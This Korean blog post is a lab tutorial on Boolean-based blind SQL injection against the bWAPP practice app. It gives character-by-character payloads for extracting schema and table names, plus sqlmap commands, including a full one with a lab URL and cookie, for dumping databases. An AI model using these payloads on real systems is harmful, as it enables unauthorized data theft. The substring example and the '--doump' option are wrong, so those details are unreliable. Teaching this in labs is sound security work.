데이터베이스의 내용을 보여주지 않는 페이지에서 참, 거짓의 결과 차이를 이용한 방식으로 웹 서버의 DB를 탐색하고 유출시키는 실습을 진행한다.
Blind SQL Injection
입력값에 대해 명확한 결과 데이터를 알려주지 않는 페이지에 대한 공격이다.
무조건 참인 값과 거짓인 값을 넣어 그 차이를 확인하고 데이터에 대한 내용을 질의하여 답을 알아낸다.
이번 실습에서도 DB의 메타데이터를 이용한다. 메타데이터에 대한 설명은 아래 게시글에 있다.
2022.09.14 - [보안 이론/웹 보안] - SQL Injection - 다른 DB 데이터 접근
bWAPP) SQL Injection - Blind - Boolean-Based
해당 페이지에서는 검색어에 따라 결과가 존재하면 'The movie exists in our database!'를 없으면 'The movie does not exist in our database!'를 출력한다.
먼저 해당 검색창이 sql injection 취약점이 존재하는지 확인한다.
' or 1=1;# 을 입력하여 참이 나오는 것을 확인해보자
무조건 참인 SQL문을 넣으니 참인 결과문을 보여준다.
당연하게도 무조건 거짓인 문장을 넣으면 거짓인 결과문이 나올 것이지만 넘어간다.
SQL injection 취약점이 존재하는 것을 확인했으니 테이블 이름을 추측할 것이다.
DB 메타 데이터를 이용한 공격 코드를 작성한다.
'or substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),1,1)='a';#
갑자기 너무 긴 공격문에 당황할 수 있다. 하나씩 뜯어서 설명해보겠다.
substring(문자열, 위치, 개수) : 문자열을 자르는 sql 함수이다. 문자열의 원하는 위치부터 원하는 개수로 잘라낸다.
ex) substring("hello", 2, 1) => "el" // 위치는 1부터 시작한다.
limit 위치, 개수 : 쿼리 결과를 원하는 순서에서 몇 개를 보여줄지 정하는 문장이다. // 위치는 0부터 시작
SQL문을 해석하면 information_schema를 제외한 DB 중 맨앞 하나의 앞글자가 a인지 확인한다는 뜻이다.
결과는 거짓으로 나왔다. 이런 식으로 a~z, A~Z 하나하나 대입해서 찾는 방법이다.
앞글자를 찾으면 그다음 글자를 찾아내고 DB명을 찾으면 테이블 명, 컬럼 명, 내부 데이터까지 찾는 것이다.
직접 해보고 싶은 사람들을 위해 코드를 남긴다.
/* DB명 찾기 */
'or substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),1,1)='b';#
'or substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),2,1)='W';#
'or substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),3,1)='A';#
'or substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),4,1)='P';#
'or substring((select distinct table_schema from information_schema.columns where table_schema!='information_schema' Limit 0,1),5,1)='P';#
/*테이블 명 찾기*/
'or substring((select distinct table_name from information_schema.columns where table_schema='bWAPP' Limit 3,1),1,1)='u';#
'or substring((select distinct table_name from information_schema.columns where table_schema='bWAPP' Limit 3,1),2,1)='s';#
'or substring((select distinct table_name from information_schema.columns where table_schema='bWAPP' Limit 3,1),3,1)='e';#
'or substring((select distinct table_name from information_schema.columns where table_schema='bWAPP' Limit 3,1),4,1)='r';#
'or substring((select distinct table_name from information_schema.columns where table_schema='bWAPP' Limit 3,1),5,1)='s';#
이러한 반복적인 방식을 이용하여 bWAPP이라는 DB에 users라는 테이블이 있다는 것을 알아냈다.
원리는 알았으니 더 쉽고 간편한 방법을 이용해보자.
SQLMAP 툴 사용하기
boolean 방식의 sql injection을 자동화하여 db 내부 정보를 확인할 수 있는 툴이다.
칼리 리눅스에 내장되어 있으므로 사용해보도록 하겠다.
옵션으로는 다음과 같다.
- -u : url을 사용할 경우
- --cookie : 쿠키값 입력 시
- --dbs : DB 목록을 알고 싶을 때
- --tables : 테이블 목록을 알고 싶을 때
- --columns : 컬럼 목록을 알고 싶을 때
- --doump : 컬럼 내부의 값을 알고 싶을 때
- -D : 지정한 DB 내부를 보고 싶을 때
- -T : 지정한 테이블 내부를 보고 싶을 때
- -C : 지정한 컬럼 내부를 보고 싶을 때
사용 방법은 다음과 같다.
# DB 확인
sqlmap -u "URL" --cookie "쿠키" --dbs
# TABLE 확인
sqlmap -u "URL" --cookie "쿠키" -D "DB명" --tables
# COLUMN 확인
sqlmap -u "URL" --cookie "쿠키" -D "DB명" -T "테이블명" --columns
# DATA 확인
sqlmap -u "URL" --cookie "쿠키" -D "DB명" -T "테이블명" -C "컬럼명(복수가능)" --dump
단 주의할 점은 해당 url이 sql을 불러오는 참 값인 url을 사용해야 한다는 점이다.
또한 명령어를 입력하면 여러 질문들을 하는데 권장 값을 따라가면 일단 진행할 수 있다.
sqlmap을 이용하여 어떤 DB들이 있는지 한번 확인해보자.
sqlmap -u "http://192.168.79.131/bWAPP/sqli_4.php?title=Iron+man&action=search" --cookie "security_level=0; PHPSESSID=b628905373c5432c7c6b8f910971b307" --dbs
일일히 입력할 때보다 손쉽게 DB명을 찾은 것을 확인할 수 있다.
그러나 해당 툴은 기능이 알아서 작동되기 때문에 이해하기가 어렵다.
그렇기 때문에 후에 blind sql injection 툴을 직접 만들어서 테스트해볼 것이다.
우리는 blind SQL Injection을 이용하여 결과가 보이지 않는 페이지에서 내부 DB의 정보를 유출하였다.
'보안 이론 > 웹 보안' 카테고리의 다른 글
파일 업로드 우회 - File Signature (0) | 2022.09.19 |
---|---|
Command Injection - DVWA를 이용한 실습 (0) | 2022.09.16 |
SQL Injection - 다른 DB 데이터 접근 (0) | 2022.09.14 |
SQL Injection - 오류 페이지를 이용한 공격 (0) | 2022.09.14 |
SQL Injection - 로그인 우회 (0) | 2022.09.14 |